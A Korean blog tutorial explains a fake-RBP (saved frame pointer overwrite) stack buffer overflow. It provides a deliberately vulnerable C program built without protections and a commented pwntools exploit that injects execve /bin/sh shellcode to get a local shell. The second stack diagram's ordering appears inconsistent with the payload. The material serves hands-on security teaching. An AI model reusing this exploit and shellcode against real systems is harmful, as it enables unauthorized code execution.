시스템 해킹 실습 -10 . Buffer OverFlow (버퍼 오버플로우) FAKE RBP [4]

2024. 7. 23. 17:55Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

배울내용:

버퍼 오버플로우 취약점

시스템 해킹

Buffer OverFlow

버퍼오버플로우 실습 

메모리 취약점 

Fake RBP

SFP 역할 

leave 를이용한 BOF 

 

 

 

 

 

 

 

 

 

 

이번 문제를 풀고 이해하려면  몇가지 레지스터를 확실하게 알고 넘어가야한다

 

 
  

명령어 및 레지스터 상태

  1. LEAVE 명령어:
    • MOV RSP, RBP : RSP를 RBP의 값으로 설정.
    • POP RBP : RSP의 값을 RBP로 복사하고, RSP를 8 증가.
  2. RSP와 RBP의 변화
    • RSP, RBP는 함수 호출 및 반환 시 각각의 값을 설정 및 변경하며, 공격자가 이를 조작해 원하는 주소로 변경 가능.

힙(Heap)과 스택(Stack)의 차이점

  1. 힙(Heap)
    • 런타임에 크기 결정.
    • 동적 할당 (예: malloc).
    • 함수의 종속성 없음.
    • 할당 및 해제 필요 (malloc 및 free).
  2. 스택(Stack)
    • 컴파일 타임에 크기 결정.
    • 함수의 지역 변수가 저장.
    • 고정된 크기.

 

 

SFP의 역할과 공격 시나리오

  1. SFP(Stack Frame Pointer)의 역할: SFP는 스택 프레임의 시작을 나타내며, 함수의 호출과 복귀 시 스택을 관리하는 데 사용된다.
  2. FAKE EBP 공격 기법:
    • 취약점을 이용해 SFP 값을 조작하여, 부모 함수로 복귀할 때 원하는 주소로 RBP를 변경할 수 있다.
    • 예를 들어, 0x41414141로 변조된 SFP를 사용하면 함수 종료 후의 RBP가 원하는 주소로 설정된다.

 

 

 

 

 

 

 

코드작성

/*
    gcc -O0 -fno-stack-protector -no-pie -z execstack advanced_bof.c -o advanced_bof
*/

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

void vuln(){
    char buf[512] = {};
    printf("buf @ %p\n", buf);
    printf("buf > ");
    read(0, buf, 520);
    printf("Your Data : %s\n", buf);
}

void main(){
    int makeSFP = 0;
    init();
    vuln();
}

 

 

 

 

 

 

 

 

 

파이썬 페이로드  코드작성

 

from  pwn import *

p = process("./advanced_bof")


shellcode =b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.recvuntil(b" @ ")
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf addr @ {buf_addr:#x}")

gdb.attach(p)

payload=b""
payload += b"A" * 0x8        #main SFP
payload += p64(buf_addr +0x10) #mainRET
payload+=b"\x90" * 0x20
payload+=shellcode
payload = payload.ljust(0x200,b"\x90")
payload+=p64(buf_addr)  #vuln SFP
p.send(payload)  
p.interactive()

 

 

이걸한줄한줄 설명한걸 넣어보면 아래와 같다

 

 

 

 

from pwn import *

# `advanced_bof` 실행 파일을 실행하여 프로세스를 시작
p = process("./advanced_bof")

# 리눅스 x86-64 시스템에서 쉘을 실행하는 셸코드
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

# 'buf @ ' 문자열이 출력될 때까지 읽기
p.recvuntil(b" @ ")

# 버퍼 주소를 읽어와서 16진수 정수로 변환
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf addr @ {buf_addr:#x}")

# GDB를 사용하여 프로세스에 부착 (디버깅)
gdb.attach(p)

# 공격 페이로드를 저장할 빈 바이트 문자열 생성
payload = b""

# 메인 함수의 스택 프레임 포인터(SFP)를 덮어쓰기에 필요한 'A'로 채운 바이트 추가
payload += b"A" * 0x8  # 메인 SFP (8바이트)

# 메인 함수의 반환 주소를 덮어쓰는 값으로, `buf_addr + 0x10`을 추가
payload += p64(buf_addr + 0x10)  # 메인 RET (리턴 주소)

# NOP 슬라이드 추가 (0x20 바이트) - 셸코드로의 접근을 용이하게 함
payload += b"\x90" * 0x20

# 셸코드를 페이로드에 추가
payload += shellcode

# 페이로드의 길이를 0x200 (512바이트)로 맞추기 위해 NOP으로 채움
payload = payload.ljust(0x200, b"\x90")

# `vuln()` 함수의 스택 프레임 포인터(SFP)를 덮어쓰는 값으로, 버퍼 주소를 추가
payload += p64(buf_addr)  # vuln SFP

# 생성된 페이로드를 프로세스에 전송
p.send(payload)

# 공격 후, 프로세스의 I/O를 상호작용 모드로 전환 (쉘 제어)
p.interactive()

 

 

 

위에 페이로드가 만들어지는거를 따로보면 아래와 같은데 

 

payload = b""
payload += b"A" * 0x8        # main SFP
payload += p64(buf_addr + 0x10) # main RET
payload += b"\x90" * 0x20    # NOP 슬라이드
payload += shellcode         # 쉘코드
payload = payload.ljust(0x200, b"\x90") # 페이로드를 512바이트로 맞춤
payload += p64(buf_addr)     # vuln SFP

 

이부분만 따로보면 스택의 구조를 생각하면된다

 

|      ...            | <- Higher Address (상위 주소)
|       ...           |
| Return Address      | <- 메인 함수의 RETURN 주소
| Saved Frame Pointer | <- 메인 함수의 SFP (스택 프레임 포인터)
| Local Variables     |
| Buffer (buf)        | <- 512 bytes buffer
| ...                 | <- Lower Address (하위 주소)

 

 

그러면 어떻게 들어갈지가 보이고 위에값을 실제로 넣으면

 

 

|-------------------------------------------|  <- Higher Address
|   ...                                     |
|-------------------------------------------|
|  [ Overflow Area ]                        |  <- 메인 함수의 스택 프레임 포인터(SFP)
|  "AAAAAAAA" (8 bytes)                     |  <- 메인 SFP (덮어쓰기)
|  [ Return Address ] (buf_addr + 0x10)     |  <- 메인 함수의 RETURN 주소 (덮어쓰기)
|-------------------------------------------|
|  [ NOP Slide ]                            |  <- NOP 슬라이드 (32 bytes)
|  0x90 0x90 0x90 ...                      |
|-------------------------------------------|
|  [ Shellcode ]                            |  <- 쉘코드
|-------------------------------------------|
|  [ Padding to 512 bytes ]                 |  <- 페이로드의 총 길이를 512바이트로 맞추기 위해 NOP으로 채움
|  0x90 0x90 0x90 ...                      |
|-------------------------------------------|
|  [ vuln SFP ]                             |  <- `vuln()` 함수의 스택 프레임 포인터(SFP)
|  buf_addr (덮어쓰기)                      |
|-------------------------------------------|  <- Lower Address

 

위와같이 보이게 된다 

이 그림과 설명을 통해 페이로드가 메모리에서 어떻게 배치되고, 스택을 어떻게 조작하는지 이해할 수 있다.

 

 

 

 

 

그렇게 코드 쓴거를 명령어를 아래와 같이 실행하면 

 

 

 

 

 

위와같이 명령어 입력창이 $ 로 바뀐걸 볼수있다 

 

 

 

이떄 명령어를 입력해보면 아래와 같이 실행이 되는걸 볼수있다.

 

 

 

 

 

 

 

 

 

 

 

 

728x90